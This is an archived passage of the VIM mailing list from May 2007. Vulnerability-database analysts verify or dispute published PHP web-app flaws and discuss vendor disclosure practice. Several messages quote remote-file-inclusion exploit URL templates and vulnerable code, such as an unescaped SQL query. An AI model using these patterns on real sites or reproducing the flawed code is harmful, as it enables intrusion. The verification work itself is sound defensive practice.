thanks. From noamr at beyondsecurity.com Mon May 7 09:19:52 2007 From: noamr at beyondsecurity.com (Noam Rathaus) Date: Mon, 7 May 2007 12:19:52 +0300 Subject: [VIM] [Boring] Aardvark Topsites PHP Directory Disclosure Vulnerability Message-ID: <200705071219.52866.noamr@beyondsecurity.com> Hi, Just a boring vulnerability, not sure why it is even called something like a vulnerability, more a configuration of web server issue. -- ? Noam Rathaus ? CTO ? 1616 Anderson Rd. ? McLean, VA 22102 ? Tel: 703.286.7725 extension 105 ? Fax: 888.667.7740 ? noamr at beyondsecurity.com ? http://www.beyondsecurity.com -------------- next part -------------- An embedded message was scrubbed... From: DoZ at hackerscenter.com Subject: Aardvark Topsites PHP Directory Disclosure Vulnerability Date: Wed, 02 May 2007 19:14:44 -0400 Size: 2845 Url: http://www.attrition.org/pipermail/vim/attachments/20070507/e2b3d55b/attachment.mht From heinbockel at mitre.org Mon May 7 15:48:49 2007 From: heinbockel at mitre.org (Heinbockel, Bill) Date: Mon, 7 May 2007 11:48:49 -0400 Subject: [VIM] TRUE: Open Translation Engine (OTE) 0.7.8 RFI (+ XSS) Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC01D15072@IMCSRV5.MITRE.ORG> MILW0RM: 3838 BID:23793 In the OTE 0.7.8 package: File dev/skin/header.php (line 11): include($ote_home . '/skins/css.php'); Additionally, there appear to be some XSS issues later on (lines 13-17): ... ?><? echo $title ?>
OTE ... As you can see, the title and web_url parameters are neither defined nor passed through htmlspecialchars() or similar. William Heinbockel Infosec Engineer, Sr. The MITRE Corporation 202 Burlington Rd. MS S145 Bedford, MA 01730 heinbockel at mitre.org 781-271-2615 From heinbockel at mitre.org Mon May 7 15:59:47 2007 From: heinbockel at mitre.org (Heinbockel, Bill) Date: Mon, 7 May 2007 11:59:47 -0400 Subject: [VIM] Mostly True: phpChess Community Edition 2.0 RFI Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC01D1507B@IMCSRV5.MITRE.ORG> MILW0RM:3837 BID:23797 # Exploit:[Path]/skins/phpchess/layout_admin_cfg.php?Root_Path=Shell TRUE: # Exploit:[Path]/skins/phpchess/layout_cfg.php?Root_Path=Shell TRUE: # Exploit:[Path]/skins/phpchess/layout_t_top.php?Root_Path=Shell TRUE: # Exploit:[Path]/includes/language.php?config=Shell FALSE: (included from a function definition called from outside of the file) function GetStringFromStringTable($strTag, $config){ include($config); ... William Heinbockel Infosec Engineer, Sr. The MITRE Corporation 202 Burlington Rd. MS S145 Bedford, MA 01730 heinbockel at mitre.org 781-271-2615 From str0ke at milw0rm.com Mon May 7 16:02:33 2007 From: str0ke at milw0rm.com (str0ke) Date: Mon, 7 May 2007 11:02:33 -0500 Subject: [VIM] Mostly True: phpChess Community Edition 2.0 RFI In-Reply-To: <224FBC6B814DBD4E9B9E293BE33A10DC01D1507B@IMCSRV5.MITRE.ORG> References: <224FBC6B814DBD4E9B9E293BE33A10DC01D1507B@IMCSRV5.MITRE.ORG> Message-ID: <814b9d50705070902x45fe6b46u9923e3e23693c2b0@mail.gmail.com> Removed the latter from 3837. /str0ke On 5/7/07, Heinbockel, Bill wrote: > MILW0RM:3837 > BID:23797 > > # Exploit:[Path]/skins/phpchess/layout_admin_cfg.php?Root_Path=Shell > TRUE: include($Root_Path."skins/".$SkinName."/admin_header.php");?> > > # Exploit:[Path]/skins/phpchess/layout_cfg.php?Root_Path=Shell > TRUE: > > # Exploit:[Path]/skins/phpchess/layout_t_top.php?Root_Path=Shell > TRUE: > > # Exploit:[Path]/includes/language.php?config=Shell > FALSE: (included from a function definition called from outside of the > file) > function GetStringFromStringTable($strTag, $config){ > > include($config); > ... > > > William Heinbockel > Infosec Engineer, Sr. > The MITRE Corporation > 202 Burlington Rd. MS S145 > Bedford, MA 01730 > heinbockel at mitre.org > 781-271-2615 > From mattmurphy at kc.rr.com Mon May 7 23:31:21 2007 From: mattmurphy at kc.rr.com (Matthew Murphy) Date: Mon, 7 May 2007 16:31:21 -0700 Subject: [VIM] Incorrect Titling of VMSA-2007-0004 and Questions of Impact Message-ID: <3ACE9F5A-81ED-43D0-9C4E-7E1080EA1E65@kc.rr.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 VMWare released VMSA-2007-0004 today: http://seclists.org/fulldisclosure/2007/May/0098.html The title, summary and synopsis all read "Multiple Denial-of-Service issues fixed". However, the fifth issue, which snuck into it, is in point 3e: Shared Folders is a feature that enables users of guest operating systems to access a specified set of folders in the host's file system. A vulnerability was identified by Greg MacManus of iDefense Labs that could allow an attacker to write arbitrary content from a guest system to arbitrary locations on the host system. In order to exploit this vulnerability, the VMware system must have at least one folder shared. Although the Shared Folder feature is enabled by default, no folders are shared by default, which means this vulnerability is not exploitable by default. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2007-1744 to this issue. VMware Workstation 5.5.4 (Build# 44386) VMware Player 1.0.4 (Build# 44386) VMware Server 1.0.3 (Build# 44356) VMware ACE 1.0.3 (Build# 44385) CVE-2007-1744 corresponds to this iDefense advisory: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=521 The issue is not a DoS in any way. Rather, it allows an attacker with the ability to run code on a VM to write files to arbitrary folders on the host system, provided the host is sharing at least one folder with VM guests. At least on Windows, this is exploitable for arbitrary code execution. The ability of malicious code on a guest account to write files on the host is game over for the individual account using VMWare. It's not clear from reading iDefense's advisory, or from reading 2007-0004, however, if VMWare's Shared Folders are implemented within the application or as part of one of VMWare's service processes. In the latter case, arbitrary files can be written with LocalSystem privileges, making it game over for the entire host. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (Darwin) iQIVAwUBRj+2yXXzqEAiV8M/AQJ4LhAAqIkwtdP0VN7AnIdkqWlsy3zn+RFjs4bd abLXqic8fKxdUTEodPH6Zku57D1KlvItIXDX2a9O57m5zthi1uxe5iTw/1w+epjy lWF0afyMEQfF9823bxhhE51AOWbRF2TV31VSoKcmjCJSCMT9s65Kf68Z0FL9lS1a 2TlAVwBTsRv0lH7Qnjogk/9lFwqLxorI+AT0C2f/TyE4e4y90FakfQgUCjY58GvS sPumO4U8IBjYDZZJQkuDL2vhIGgH6Oqrr3rxSgs65xrhGoRzT8q0cxwd8hFRjFK7 Rr3s7aHDcUei7a0Td7EU4sCsMpARd34sW16HCMPG195KkbqxASykXrsI+lmB+3eI FGGA/ZoexmPZN0JmbS88MBX8zdaxJNSNQnAziWMG/z1Nmd5BqSmOz4cshCkbUUO7 Ter3b+iOq6P1FcjkwW4OHjVYkLJX3g0sJj/NDLZjO5VJb7kd/OIoESkBQm/6wK0w XXGB8jmHtu+fIZcj2cCpmJgeGhfNeyqybGysCY3TRUWoL3B3dNJwX5/Ok799IT3C pjX6FjHIcAYyU5nv/WZW6bbwY0mvyfJza6glEspDvnNN0ZUSJSJIflQK3ZdU9l+S 2wWWs44mWLZBrM0bmqQAlIFZlY3zdWFQvz7vVQ7tq0R22NcJ1wsFdtzLMkKPJS0e ElrMm2IR/wM= =aOWX -----END PGP SIGNATURE----- From jericho at attrition.org Tue May 8 03:58:38 2007 From: jericho at attrition.org (security curmudgeon) Date: Tue, 8 May 2007 03:58:38 +0000 (UTC) Subject: [VIM] HP & an interesting comment Message-ID: In a private e-mail discussion regarding vulnerability disclosure, this comment was made. I asked to forward to VIM and anonymize, the researchers in question agreed. Since we are keeping track of vendor threats, this is fringe related I think. ---------- Forwarded message ---------- Date: Mon, 7 May 2007 20:31:43 -0700 I had a very interesting phone conversation with HP a couple months ago when I reported a vuln that [researcher] found (not fixed yet). They definately need a clue. In fact the person handling the case even went out of his way to state; "You know we are the company that sued a researcher right". I said yes, and you know that we have various partnerships and are a X billion a year company right? I honestly think that many vendors will attempt to bully the smaller researchers because they can while the bigger companies are left alone. From gadie at beyondsecurity.com Tue May 8 08:15:12 2007 From: gadie at beyondsecurity.com (Gadi Evron) Date: Tue, 8 May 2007 11:15:12 +0300 Subject: [VIM] HP & an interesting comment In-Reply-To: References: Message-ID: <200705081115.13064.gadie@beyondsecurity.com> On Tuesday 08 May 2007 06:58, security curmudgeon wrote: > In a private e-mail discussion regarding vulnerability disclosure, this > comment was made. I asked to forward to VIM and anonymize, the researchers > in question agreed. Since we are keeping track of vendor threats, this is > fringe related I think. > > ---------- Forwarded message ---------- > Date: Mon, 7 May 2007 20:31:43 -0700 > > I had a very interesting phone conversation with HP a couple months ago > when I reported a vuln that [researcher] found (not fixed yet). They > definately need a clue. In fact the person handling the case even went > out of his way to state; "You know we are the company that sued a > researcher right". I said yes, and you know that we have various > partnerships and are a X billion a year company right? > > I honestly think that many vendors will attempt to bully the smaller > researchers because they can while the bigger companies are left alone. They do it because it works. From heinbockel at mitre.org Tue May 8 11:16:57 2007 From: heinbockel at mitre.org (Heinbockel, Bill) Date: Tue, 8 May 2007 07:16:57 -0400 Subject: [VIM] FALSE -> DynamicPAD HomeDir RFI Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC01D15193@IMCSRV5.MITRE.ORG> MILW0RM:3868 SECUNIA:25176 FRSIRT:ADV-2007-1681 BID:23861 The second line (before any use of $HomeDir) in index.php and dp_logs.php: > require_once( "dp_conf.php" ); The first lines in dp_conf.php read: > Error_Reporting(0); > > if ( file_exists( "dp_conf.php.inc" ) ) { > include( "dp_conf.php.inc" ); > } else die( '
Unable to find dp_conf.php.inc
' ); And, the third instruction in INSTALL.txt reads: > Rename "dp_conf.php.inc.default" into "dp_conf.php.inc" and > "dp_conf.dat.default" into "dp_conf.dat". Finally, of course, in the packaged dp_conf.php.inc.default file (line 12): > $HomeDir = ""; So, if the user follows the installation instructions, there is no RFI. If the user forgets the "install", the software dies. No vulnerability. William Heinbockel Infosec Engineer, Sr. The MITRE Corporation 202 Burlington Rd. MS S145 Bedford, MA 01730 heinbockel at mitre.org 781-271-2615 From str0ke at milw0rm.com Tue May 8 13:32:01 2007 From: str0ke at milw0rm.com (str0ke) Date: Tue, 8 May 2007 08:32:01 -0500 Subject: [VIM] FALSE -> DynamicPAD HomeDir RFI In-Reply-To: <224FBC6B814DBD4E9B9E293BE33A10DC01D15193@IMCSRV5.MITRE.ORG> References: <224FBC6B814DBD4E9B9E293BE33A10DC01D15193@IMCSRV5.MITRE.ORG> Message-ID: <814b9d50705080632x293d7569sd46a317432f56901@mail.gmail.com> I don't have the source code to go back over 1.02 but it did seem vulnerable before. Their site states. A dangerous vulnerability has been detected in DynamicPAD 1.02. We strongly suggest that you upgrade to the latest version as soon as possible! /str0ke On 5/8/07, Heinbockel, Bill wrote: > MILW0RM:3868 > SECUNIA:25176 > FRSIRT:ADV-2007-1681 > BID:23861 > > The second line (before any use of $HomeDir) in index.php and > dp_logs.php: > > require_once( "dp_conf.php" ); > > > The first lines in dp_conf.php read: > > Error_Reporting(0); > > > > if ( file_exists( "dp_conf.php.inc" ) ) { > > include( "dp_conf.php.inc" ); > > } else die( '
Unable to find dp_conf.php.inc
' ); > > > And, the third instruction in INSTALL.txt reads: > > Rename "dp_conf.php.inc.default" into "dp_conf.php.inc" and > > "dp_conf.dat.default" into "dp_conf.dat". > > Finally, of course, in the packaged dp_conf.php.inc.default file (line > 12): > > $HomeDir = ""; > > > So, if the user follows the installation instructions, there is no RFI. > If the user forgets the "install", the software dies. No vulnerability. > > > William Heinbockel > Infosec Engineer, Sr. > The MITRE Corporation > 202 Burlington Rd. MS S145 > Bedford, MA 01730 > heinbockel at mitre.org > 781-271-2615 > From heinbockel at mitre.org Tue May 8 13:58:34 2007 From: heinbockel at mitre.org (Heinbockel, Bill) Date: Tue, 8 May 2007 09:58:34 -0400 Subject: [VIM] Reneged: RE: FALSE -> DynamicPAD HomeDir RFI In-Reply-To: <814b9d50705080632x293d7569sd46a317432f56901@mail.gmail.com> References: <224FBC6B814DBD4E9B9E293BE33A10DC01D15193@IMCSRV5.MITRE.ORG> <814b9d50705080632x293d7569sd46a317432f56901@mail.gmail.com> Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC01D151EE@IMCSRV5.MITRE.ORG> Doh! Well, at least it's nice to see that their fix looks complete ;-) I didn't see that notice posted when I checked earlier. I used the posted download, which was most likely the updated 1.03.31 code base. It did seem kind of strange that this was in FRSIRT and SECUNIA though - they're usually pretty good about checking this stuff. And, of course it doesn't help that the vendor does not provide versioning info in their download packages. William Heinbockel Infosec Engineer, Sr. The MITRE Corporation 202 Burlington Rd. MS S145 Bedford, MA 01730 heinbockel at mitre.org 781-271-2615 >-----Original Message----- >From: vim-bounces at attrition.org >[mailto:vim-bounces at attrition.org] On Behalf Of str0ke >Sent: Tuesday, 08 May, 2007 09:32 >To: Vulnerability Information Managers >Subject: Re: [VIM] FALSE -> DynamicPAD HomeDir RFI > >I don't have the source code to go back over 1.02 but it did seem >vulnerable before. > >Their site states. >A dangerous vulnerability has been detected in DynamicPAD 1.02. We >strongly suggest that you upgrade to the latest version as soon as >possible! > >/str0ke > >On 5/8/07, Heinbockel, Bill wrote: >> MILW0RM:3868 >> SECUNIA:25176 >> FRSIRT:ADV-2007-1681 >> BID:23861 >> >> The second line (before any use of $HomeDir) in index.php and >> dp_logs.php: >> > require_once( "dp_conf.php" ); >> >> >> The first lines in dp_conf.php read: >> > Error_Reporting(0); >> > >> > if ( file_exists( "dp_conf.php.inc" ) ) { >> > include( "dp_conf.php.inc" ); >> > } else die( '
Unable to find dp_conf.php.inc
' ); >> >> >> And, the third instruction in INSTALL.txt reads: >> > Rename "dp_conf.php.inc.default" into "dp_conf.php.inc" and >> > "dp_conf.dat.default" into "dp_conf.dat". >> >> Finally, of course, in the packaged dp_conf.php.inc.default >file (line >> 12): >> > $HomeDir = ""; >> >> >> So, if the user follows the installation instructions, there >is no RFI. >> If the user forgets the "install", the software dies. No >vulnerability. >> >> >> William Heinbockel >> Infosec Engineer, Sr. >> The MITRE Corporation >> 202 Burlington Rd. MS S145 >> Bedford, MA 01730 >> heinbockel at mitre.org >> 781-271-2615 >> > From coley at linus.mitre.org Tue May 8 17:31:17 2007 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 8 May 2007 13:31:17 -0400 (EDT) Subject: [VIM] FALSE -> DynamicPAD HomeDir RFI In-Reply-To: <814b9d50705080632x293d7569sd46a317432f56901@mail.gmail.com> References: <224FBC6B814DBD4E9B9E293BE33A10DC01D15193@IMCSRV5.MITRE.ORG> <814b9d50705080632x293d7569sd46a317432f56901@mail.gmail.com> Message-ID: On Tue, 8 May 2007, str0ke wrote: > I don't have the source code to go back over 1.02 but it did seem > vulnerable before. There seems to be an unfortunate habit by some researchers where they'll test an older version (maybe live on a site somewhere) and just assume the latest version is vulnerable, and report the latest version. Yet another painful part of the dispute process. When I do a dispute, I try to get some older source code just in case of these researcher errors, but of course that's not always feasible and it usually doesn't pay off. - Steve From str0ke at milw0rm.com Tue May 8 19:05:16 2007 From: str0ke at milw0rm.com (str0ke) Date: Tue, 8 May 2007 14:05:16 -0500 Subject: [VIM] FALSE -> DynamicPAD HomeDir RFI In-Reply-To: References: <224FBC6B814DBD4E9B9E293BE33A10DC01D15193@IMCSRV5.MITRE.ORG> <814b9d50705080632x293d7569sd46a317432f56901@mail.gmail.com> Message-ID: <814b9d50705081205p4fba1140l9b868bdcb3c40173@mail.gmail.com> I'm lost on both of your emails! On 5/8/07, Steven M. Christey wrote: > > On Tue, 8 May 2007, str0ke wrote: > > > I don't have the source code to go back over 1.02 but it did seem > > vulnerable before. The source code can be accessed at http://dynamicpad.org/dp.tar.gz The files are marked as 2006 just as the release. I tested by downloading the source from the url and by clicking on the download from the page which matched up. 28 Apr 2006. Version 1.02 released. From now on DynamicPAD should install and work smoothly on Windows+IIS servers. Also several bugfixes has been made. And the vulnerability report from the author of the product. 8 May 2007. A dangerous vulnerability has been detected in DynamicPAD 1.02. We strongly suggest that you upgrade to the latest version as soon as possible! head index.php DynamicPAD HomeDir RFI In-Reply-To: <814b9d50705081205p4fba1140l9b868bdcb3c40173@mail.gmail.com> References: <224FBC6B814DBD4E9B9E293BE33A10DC01D15193@IMCSRV5.MITRE.ORG> <814b9d50705080632x293d7569sd46a317432f56901@mail.gmail.com> <814b9d50705081205p4fba1140l9b868bdcb3c40173@mail.gmail.com> Message-ID: <814b9d50705081216o496d4878s4193f890c4534150@mail.gmail.com> Ahh im caching the old .tar here is the vulnerable version that was downloaded on my end. /str0ke On 5/8/07, str0ke wrote: > I'm lost on both of your emails! > > On 5/8/07, Steven M. Christey wrote: > > > > On Tue, 8 May 2007, str0ke wrote: > > > > > I don't have the source code to go back over 1.02 but it did seem > > > vulnerable before. > > The source code can be accessed at > > http://dynamicpad.org/dp.tar.gz > > The files are marked as 2006 just as the release. I tested by > downloading the source from the url and by clicking on the download > from the page which matched up. > > 28 Apr 2006. Version 1.02 released. From now on DynamicPAD should > install and work smoothly on Windows+IIS servers. Also several > bugfixes has been made. > > And the vulnerability report from the author of the product. > > 8 May 2007. A dangerous vulnerability has been detected in DynamicPAD > 1.02. We strongly suggest that you upgrade to the latest version as > soon as possible! > > head index.php > $AfterLogin = "index.php"; > > require_once( $HomeDir."dp_conf.php" ); > > head dp_logs.php > $AfterLogin = "dp_logs.php"; > > require_once( $HomeDir."dp_conf.php" ); > require_once( $HomeDir."phemplate.class.php" ); > require_once( $HomeDir."pager.php" ); > > ? > > /str0ke > -------------- next part -------------- A non-text attachment was scrubbed... Name: dp.tar Type: application/x-tar Size: 122880 bytes Desc: not available Url : http://www.attrition.org/pipermail/vim/attachments/20070508/059b67e7/attachment-0001.tar From coley at mitre.org Tue May 8 22:43:55 2007 From: coley at mitre.org (Steven M. Christey) Date: Tue, 8 May 2007 18:43:55 -0400 (EDT) Subject: [VIM] false: phpHoo3 Login SQL injection Message-ID: <200705082243.l48MhtAw018740@faron.mitre.org> Researcher: iLker Kandemir Ref: BUGTRAQ phpHoo3 (admin.php) Remote Login Bypass SQL Injection Vulnerability http://www.securityfocus.com/archive/1/archive/1/467839/100/0/threaded Claimed SQL injection. 1) Even the code as quoted in the post, has nothing that involves SQL (although the product does use sql). 2) egrep 'ADMIN_USER|ADMIN_PASS' *.php yields ZERO uses of $ADMIN_USER and $ADMIN_PASS besides: admin.php: if (($vars["USER"] == $ADMIN_USER) && ($vars["PASS"] == $ADMIN_PASS)) and phpHoo3_config.php (included by config.php): $ADMIN_USER = "user"; // Username to enter admin mode $ADMIN_PASS = "pass"; // Password to enter admin mode So, ADMIN_USER/ADMIN_PASS are not vectors for SQL injection. Since admin.php requires config.php before the ADMIN_USER/ADMIN_PASS conditional, there's no "login bypass" possible since $ADMIN_USER/$ADMIN_PASS can't be overwritten. A side note, this code is ancient (2001). - Steve From heinbockel at mitre.org Wed May 9 13:28:23 2007 From: heinbockel at mitre.org (Heinbockel, Bill) Date: Wed, 9 May 2007 09:28:23 -0400 Subject: [VIM] Is milw0rm DNS down? Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC01D153DE@IMCSRV5.MITRE.ORG> str0ke, I keep getting DNS resolution failures for milw0rm.com Is anyone else having similar issues? William Heinbockel Infosec Engineer, Sr. The MITRE Corporation 202 Burlington Rd. MS S145 Bedford, MA 01730 heinbockel at mitre.org 781-271-2615 From steve at vitriol.net Wed May 9 13:35:08 2007 From: steve at vitriol.net (Steve Tornio) Date: Wed, 09 May 2007 08:35:08 -0500 Subject: [VIM] Is milw0rm DNS down? In-Reply-To: <224FBC6B814DBD4E9B9E293BE33A10DC01D153DE@IMCSRV5.MITRE.ORG> References: <224FBC6B814DBD4E9B9E293BE33A10DC01D153DE@IMCSRV5.MITRE.ORG> Message-ID: <4641CE0C.203@vitriol.net> Heinbockel, Bill wrote: > str0ke, > > I keep getting DNS resolution failures for milw0rm.com > Is anyone else having similar issues? > No issues here. ;; QUESTION SECTION: ;milworm.com. IN A ;; ANSWER SECTION: milworm.com. 300 IN A 72.51.27.51 ;; AUTHORITY SECTION: milworm.com. 172800 IN NS ns2.hitfarm.com. milworm.com. 172800 IN NS ns1.hitfarm.com. From sullo at cirt.net Wed May 9 13:45:04 2007 From: sullo at cirt.net (Sullo) Date: Wed, 9 May 2007 09:45:04 -0400 Subject: [VIM] Is milw0rm DNS down? In-Reply-To: <4641CE0C.203@vitriol.net> References: <224FBC6B814DBD4E9B9E293BE33A10DC01D153DE@IMCSRV5.MITRE.ORG> <4641CE0C.203@vitriol.net> Message-ID: <20070509094504.80q7hwdl0k84swsc@webmail.sullo.com> None where I am, either. Quoting Steve Tornio : > Heinbockel, Bill wrote: >> str0ke, >> >> I keep getting DNS resolution failures for milw0rm.com >> Is anyone else having similar issues? >> > > No issues here. > > ;; QUESTION SECTION: > ;milworm.com. IN A > > ;; ANSWER SECTION: > milworm.com. 300 IN A 72.51.27.51 > > ;; AUTHORITY SECTION: > milworm.com. 172800 IN NS ns2.hitfarm.com. > milworm.com. 172800 IN NS ns1.hitfarm.com. -- http://cirt.net | http://osvdb.org/ From str0ke at milw0rm.com Wed May 9 13:46:41 2007 From: str0ke at milw0rm.com (str0ke) Date: Wed, 9 May 2007 08:46:41 -0500 Subject: [VIM] Is milw0rm DNS down? In-Reply-To: <4641CE0C.203@vitriol.net> References: <224FBC6B814DBD4E9B9E293BE33A10DC01D153DE@IMCSRV5.MITRE.ORG> <4641CE0C.203@vitriol.net> Message-ID: <814b9d50705090646o2fa22e73p250419fd3d926036@mail.gmail.com> milw0rm.com, not milworm.com :) Ya I've been under a ddos for the last 2 days, its been an off and on battle. /str0ke On 5/9/07, Steve Tornio wrote: > Heinbockel, Bill wrote: > > str0ke, > > > > I keep getting DNS resolution failures for milw0rm.com > > Is anyone else having similar issues? > > > > No issues here. > > ;; QUESTION SECTION: > ;milworm.com. IN A > > ;; ANSWER SECTION: > milworm.com. 300 IN A 72.51.27.51 > > ;; AUTHORITY SECTION: > milworm.com. 172800 IN NS ns2.hitfarm.com. > milworm.com. 172800 IN NS ns1.hitfarm.com. > > > From steve at vitriol.net Wed May 9 13:51:44 2007 From: steve at vitriol.net (Steve Tornio) Date: Wed, 09 May 2007 08:51:44 -0500 Subject: [VIM] Is milw0rm DNS down? In-Reply-To: <814b9d50705090646o2fa22e73p250419fd3d926036@mail.gmail.com> References: <224FBC6B814DBD4E9B9E293BE33A10DC01D153DE@IMCSRV5.MITRE.ORG> <4641CE0C.203@vitriol.net> <814b9d50705090646o2fa22e73p250419fd3d926036@mail.gmail.com> Message-ID: <4641D1F0.2050309@vitriol.net> doh! Pulled up the page with my bookmark, and then typed the dig request. :) Anyway, I haven't had any trouble today with the page. ;; QUESTION SECTION: ;www.milw0rm.com. IN A ;; ANSWER SECTION: www.milw0rm.com. 13403 IN CNAME milw0rm.com. milw0rm.com. 13403 IN A 213.150.45.196 str0ke wrote: > milw0rm.com, not milworm.com :) > > Ya I've been under a ddos for the last 2 days, its been an off and on > battle. > > /str0ke > > On 5/9/07, Steve Tornio wrote: >> Heinbockel, Bill wrote: >> > str0ke, >> > >> > I keep getting DNS resolution failures for milw0rm.com >> > Is anyone else having similar issues? >> > >> >> No issues here. >> >> ;; QUESTION SECTION: >> ;milworm.com. IN A >> >> ;; ANSWER SECTION: >> milworm.com. 300 IN A 72.51.27.51 >> >> ;; AUTHORITY SECTION: >> milworm.com. 172800 IN NS ns2.hitfarm.com. >> milworm.com. 172800 IN NS ns1.hitfarm.com. >> >> >> > From jericho at attrition.org Wed May 9 16:38:39 2007 From: jericho at attrition.org (security curmudgeon) Date: Wed, 9 May 2007 16:38:39 +0000 (UTC) Subject: [VIM] 21371: GhostScripter Amazon Shop search.php query Variable XSS (fwd) Message-ID: ---------- Forwarded message ---------- From: Ghostscripter Sales To: security curmudgeon Date: Wed, 09 May 2007 09:07:22 +0100 Subject: Re: [OSVDB Mods] [Change Request] 21371: GhostScripter Amazon Shop search.php query Variable XSS Dear Brian, This bug was fixed in version 5.0.2 and the current version in 5.0.7. Best Regards, Bill Knewl Ghostscripter Sales From coley at mitre.org Wed May 9 16:55:01 2007 From: coley at mitre.org (Steven M. Christey) Date: Wed, 9 May 2007 12:55:01 -0400 (EDT) Subject: [VIM] probably false: pfa RFI Message-ID: <200705091655.l49Gt1sC009699@faron.mitre.org> Researcher: iLker Kandemir Ref: BUGTRAQ pfa CMS v6.0 (index.php repinc) Remote File Include Vulnerability http://www.securityfocus.com/archive/1/archive/1/467827/100/0/threaded index.php starts with: session_start(); //d?marrage de la session require('config.inc.php'); //on inclu le fichier de configuration require($repinc.'functions.inc.php'); //on inclu les fonctions All together now! config.inc.php contains: $repinc = 'include/'; I say "probably" because there are lots of other includes. However, this is the only place where $repinc is set, and grep doesn't show any evidence of dynamic variable evaluation or extract calls. - Steve From coley at mitre.org Wed May 9 17:06:10 2007 From: coley at mitre.org (Steven M. Christey) Date: Wed, 9 May 2007 13:06:10 -0400 (EDT) Subject: [VIM] true: ACGV Annu (rubrik) LFI Message-ID: <200705091706.l49H6As5009949@faron.mitre.org> Researcher: BeyazKurt Ref: milw0rm 3867 http://www.milw0rm.com/exploits/3867 theme/acgv.php contains: include("config/config.inc.php"); include("config/function.inc.php"); ... config.inc.php and function.inc.php do not define $rubrik. - Steve From coley at mitre.org Wed May 9 19:08:32 2007 From: coley at mitre.org (Steven M. Christey) Date: Wed, 9 May 2007 15:08:32 -0400 (EDT) Subject: [VIM] true: Wikivi5 RFI Message-ID: <200705091908.l49J8WUp012419@faron.mitre.org> Researcher: GolD_M = [Mahmood_ali] Ref: http://www.milw0rm.com/exploits/3863 The first line of handlers/page/show.php is: include($sous_rep."handlers/show_body.php"); - Steve From coley at mitre.org Wed May 9 20:20:50 2007 From: coley at mitre.org (Steven M. Christey) Date: Wed, 9 May 2007 16:20:50 -0400 (EDT) Subject: [VIM] Clarification on WikkaWikki RSS feed severity (CVE-2007-2552) Message-ID: <200705092020.l49KKovm013809@faron.mitre.org> CVE-2007-2552, and some related references, originally claimed that the contents of private feeds could be read via RSS feeds. CVE's description was based on a vendor change item that said "You can see pages you normally can't see on Recent changes page by reading the rss-feed." Today, the vendor contacted CVE through NVD, stating: > The sense of the original bug report (http://wush.net/trac/wikka/ > ticket/305) is the following. Prior to WikkaWiki 1.1.6.3, users > could access through the recentchanges feed the *name* (and the > optional revision note and revision date) of a private page, not the > *content* of this page. followed by a trace of the error cascade and the usual critique against VDBs for not contacting them to double-check. - Steve From theall at tenablesecurity.com Thu May 10 14:55:46 2007 From: theall at tenablesecurity.com (George A. Theall) Date: Thu, 10 May 2007 10:55:46 -0400 Subject: [VIM] Confirm: SimpleNews <= 1.0.0 FINAL SQL Injection Exploit Message-ID: <46433272.1070903@tenablesecurity.com> In case anyone is interested... Silentz didn't mention anything about the vendor in his advisory (milw0rm 3886), but it comes from here: http://chaoscontrol.org/scripts/SimpleNews/1.0.0/ The flaw is valid -- 'print.php' has this code: $news_id = $_GET['news_id']; $query = "SELECT * FROM simplenews_articles WHERE news_id = '$news_id'"; $result = mysql_query($query)or die (mysql_error()); so as long as magic_quotes_gpc is disabled, as Silentz states, the exploit should work. SecurityFocus has a BID for this (23904) but mistakenly claims the affected software is "SNS (Simple News System)", http://sourceforge.net/projects/phpsns, even though (1) the version numbers in the advisory and released by SNS don't match and (2) the affected script doesn't exist in SNS. George -- theall at tenablesecurity.com From coley at mitre.org Fri May 11 15:48:14 2007 From: coley at mitre.org (Steven M. Christey) Date: Fri, 11 May 2007 11:48:14 -0400 (EDT) Subject: [VIM] probably false: SchoolBoard (admin.php) SQL injection Message-ID: <200705111548.l4BFmEcl017245@faron.mitre.org> Researcher: iLker Kandemir Ref: BUGTRAQ SchoolBoard (admin.php) Remote Login Bypass SQL Injection Vulnerability http://www.securityfocus.com/archive/1/archive/1/467486/100/0/threaded 1. The quoted source code doesn't show anything related to SQL queries, although they are used. 2. There's no 'username' ANYWHERE in the entire distribution. 3. "pass" and "password" are not used in any queries, at least in admin.php. They are barely used at all in the entire distribution. - Steve From theall at tenablesecurity.com Sat May 12 01:19:37 2007 From: theall at tenablesecurity.com (George A. Theall) Date: Fri, 11 May 2007 21:19:37 -0400 Subject: [VIM] Possibly Bogus: Seditio v121 (plug.php h) Remote File Disclosure Vulnerability Message-ID: <46451629.9080409@tenablesecurity.com> I *think* milw0rm 3904 is bogus. The problem is that various parameters, including 'h', are sanitized at the start of 'system/core/plug/plug.inc.php' of non-alphanumeric characters via calls to sed_import(), effectively removing directory traversal sequences. The PoC definitely doesn't work on an install I have of v110, and the code seems much the same in v121. Still, it's late so perhaps I'm just overlooking something. Anyone else? George -- theall at tenablesecurity.com From str0ke at milw0rm.com Sat May 12 01:59:42 2007 From: str0ke at milw0rm.com (str0ke) Date: Fri, 11 May 2007 20:59:42 -0500 Subject: [VIM] Possibly Bogus: Seditio v121 (plug.php h) Remote File Disclosure Vulnerability In-Reply-To: <46451629.9080409@tenablesecurity.com> References: <46451629.9080409@tenablesecurity.com> Message-ID: <814b9d50705111859y51bc32ccr1bddfd594f2a7867@mail.gmail.com> George, I lacked testing his work on this one, on your test bed was magic quotes = off? /str0ke On 5/11/07, George A. Theall wrote: > I *think* milw0rm 3904 is bogus. The problem is that various parameters, > including 'h', are sanitized at the start of > 'system/core/plug/plug.inc.php' of non-alphanumeric characters via calls > to sed_import(), effectively removing directory traversal sequences. The > PoC definitely doesn't work on an install I have of v110, and the code > seems much the same in v121. Still, it's late so perhaps I'm just > overlooking something. Anyone else? > > George > -- > theall at tenablesecurity.com > From theall at tenablesecurity.com Sat May 12 02:04:46 2007 From: theall at tenablesecurity.com (George A. Theall) Date: Fri, 11 May 2007 22:04:46 -0400 Subject: [VIM] Possibly Bogus: Seditio v121 (plug.php h) Remote File Disclosure Vulnerability In-Reply-To: <814b9d50705111859y51bc32ccr1bddfd594f2a7867@mail.gmail.com> References: 